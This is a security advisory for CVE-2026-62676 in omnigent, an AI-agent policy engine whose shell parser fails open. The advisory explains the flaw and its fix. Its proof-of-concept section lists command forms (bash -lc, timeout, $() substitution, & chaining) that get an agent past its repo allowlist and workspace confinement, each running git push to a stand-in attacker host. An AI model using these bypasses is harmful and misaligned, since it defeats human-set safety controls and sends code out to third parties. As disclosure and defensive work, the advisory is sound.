high · 7.1CVE-2026-62676Sep 2, 2026

CVE-2026-62676: omnigent Shell-Command Parser Fails Open, Allowing Policy Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Omnigent's shared shell-command parser returns nothing when it sees a command it does not recognize, and the policy engine treats that as 'allow', so a confined agent can escape its GitHub repo…

Packageomnigent
Ecosystempip
Affected< 0.3.0
Fixed in0.3.0
CVE-2026-62676: omnigent Shell-Command Parser Fails Open, Allowing Policy Bypass

The problem

Omnigent's builtin policies (github.py write_repos/write_branches allowlist and working_dir.py workspace confinement) share a parser in policies/builtins/_shell.py. When the parser receives a command form it does not recognize, it returns None. The policy evaluator treats None as 'abstain', which resolves to ALLOW.

This means any command spelled in an unhandled form skips both the GitHub repo/branch allowlist and the working-directory confinement entirely. A prompt-injected or misaligned agent can push code to attacker-controlled repos or escape its workspace, defeating the two core safety guarantees of the product.

Proof of concept

A working proof-of-concept for CVE-2026-62676 in omnigent, with the exact payload below.

bash
# Bypass 1: combined interpreter flags (parser does not handle bash -lc)
bash -lc "git push https://attacker.example.com/exfil.git"

# Bypass 2: unlisted process wrappers (timeout/nice/setsid/stdbuf not canonicalized)
timeout 30 git push https://attacker.example.com/exfil.git

# Bypass 3: command substitution (parser does not recurse into $())
x=$(git push https://attacker.example.com/exfil.git)

# Bypass 4: unsplit background operator (& not treated as a chain separator)
true & git push https://attacker.example.com/exfil.git

# Control (correctly DENIED -- confirms parser logic is otherwise sound)
git push https://attacker.example.com/exfil.git
env git push https://attacker.example.com/exfil.git

The root cause is CWE-184 (Incomplete List of Disallowed Inputs): the parser only recognizes a fixed set of command forms. Anything outside that set produces no output, and None propagates up as an abstain vote that the evaluator resolves to ALLOW instead of DENY.

This is a fail-open gate, the worst possible default for a security control.

The patch (commit 1a05b7b, PR #389, v0.3.0) inverts the default: an unrecognized gated command now returns DENY. It also canonicalizes known wrappers (timeout, nice, setsid, stdbuf, env) down to their inner command before evaluation, recurses into sh -c / bash -c payloads and command substitutions, and splits on shell control operators (;, &, &&, ||, |) before judging each segment.

The fix

Upgrade omnigent to v0.3.0 or later (commit 1a05b7b, PR #389). The policy engine now fails closed: unrecognized commands are denied, wrappers are canonicalized, and shell control operators and substitutions are parsed before evaluation.

Reported by Aaron / Aeon (autonomous security agent).

References: [1][2][3][4][5][6]

Related research